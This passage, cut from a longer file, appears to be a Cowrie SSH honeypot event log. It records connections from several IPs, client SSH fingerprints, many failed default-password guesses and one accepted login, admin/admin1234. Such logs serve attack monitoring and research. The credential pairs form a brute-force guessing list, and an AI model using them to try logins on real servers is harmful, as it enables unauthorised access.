eyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:13.818871Z","src_ip":"45.153.34.195","session":"755f28652ce7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:14.160195Z","src_ip":"91.92.40.36","session":"c7db1c460862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"localhost","message":"login attempt [localhost/localhost] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:14.219265Z","src_ip":"45.153.34.195","session":"755f28652ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60490,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca6b1f835328","protocol":"ssh","message":"New connection: 91.92.40.36:60490 (10.17.0.5:22) [session: ca6b1f835328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:15.144099Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:15.360755Z","src_ip":"45.153.34.195","session":"755f28652ce7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45034,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2a161eddbf0","protocol":"ssh","message":"New connection: 45.153.34.195:45034 (10.17.0.5:22) [session: f2a161eddbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:16.638432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:16.647455Z","src_ip":"45.153.34.195","session":"f2a161eddbf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:16.732766Z","src_ip":"45.153.34.195","session":"f2a161eddbf0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:17.062279Z","src_ip":"91.92.40.36","session":"ca6b1f835328","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:17.067081Z","src_ip":"91.92.40.36","session":"ca6b1f835328","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf-space","message":"login attempt [root/asdfasdf-space] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:17.361426Z","src_ip":"45.153.34.195","session":"f2a161eddbf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:18.447984Z","src_ip":"45.153.34.195","session":"f2a161eddbf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1234","message":"login attempt [openclaw/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:18.625236Z","src_ip":"91.92.40.36","session":"6db4d0503c83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"97.74.87.152","src_port":52080,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b6af99b1047","protocol":"ssh","message":"New connection: 97.74.87.152:52080 (159.203.135.109:22) [session: 5b6af99b1047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:18.708047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:18.712520Z","src_ip":"97.74.87.152","session":"5b6af99b1047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:18.944809Z","src_ip":"97.74.87.152","session":"5b6af99b1047","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":45060,"dst_ip":"10.17.0.5","dst_port":22,"session":"9936cf3c5921","protocol":"ssh","message":"New connection: 45.153.34.195:45060 (10.17.0.5:22) [session: 9936cf3c5921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:19.551817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:19.556543Z","src_ip":"45.153.34.195","session":"9936cf3c5921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:19.682797Z","src_ip":"45.153.34.195","session":"9936cf3c5921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root2026!","message":"login attempt [root/Root2026!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:19.905138Z","src_ip":"97.74.87.152","session":"5b6af99b1047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"operator","password":"operator2026","message":"login attempt [operator/operator2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:19.946773Z","src_ip":"45.153.34.195","session":"9936cf3c5921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:21.032962Z","src_ip":"45.153.34.195","session":"9936cf3c5921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:21.137021Z","src_ip":"97.74.87.152","session":"5b6af99b1047","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:21.780585Z","src_ip":"91.92.40.36","session":"6db4d0503c83","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59554,"dst_ip":"10.17.0.5","dst_port":22,"session":"3722108ad9c8","protocol":"ssh","message":"New connection: 45.153.34.195:59554 (10.17.0.5:22) [session: 3722108ad9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:22.542984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:22.551331Z","src_ip":"45.153.34.195","session":"3722108ad9c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:22.645831Z","src_ip":"45.153.34.195","session":"3722108ad9c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alpha","password":"alpha","message":"login attempt [alpha/alpha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:22.898815Z","src_ip":"45.153.34.195","session":"3722108ad9c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:23.983627Z","src_ip":"45.153.34.195","session":"3722108ad9c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":35476,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd0ddbc26fd8","protocol":"ssh","message":"New connection: 91.92.40.36:35476 (10.17.0.5:22) [session: fd0ddbc26fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:24.492386Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":60958,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6d217d3a977","protocol":"ssh","message":"New connection: 123.27.168.40:60958 (10.17.0.5:22) [session: b6d217d3a977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:25.272726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:25.278634Z","src_ip":"123.27.168.40","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":59586,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d102a41dadf","protocol":"ssh","message":"New connection: 45.153.34.195:59586 (10.17.0.5:22) [session: 9d102a41dadf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:25.444954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:25.452120Z","src_ip":"45.153.34.195","session":"9d102a41dadf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:25.518348Z","src_ip":"123.27.168.40","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:25.536285Z","src_ip":"45.153.34.195","session":"9d102a41dadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:25.792452Z","src_ip":"45.153.34.195","session":"9d102a41dadf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:26.015567Z","src_ip":"91.92.40.36","session":"ca6b1f835328","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:26.322359Z","src_ip":"91.92.40.36","session":"fd0ddbc26fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:26.326266Z","src_ip":"91.92.40.36","session":"fd0ddbc26fd8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:26.616606Z","src_ip":"123.27.168.40","session":"b6d217d3a977","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:36:26.876341Z","src_ip":"45.153.34.195","session":"9d102a41dadf","protocol":"ssh"}
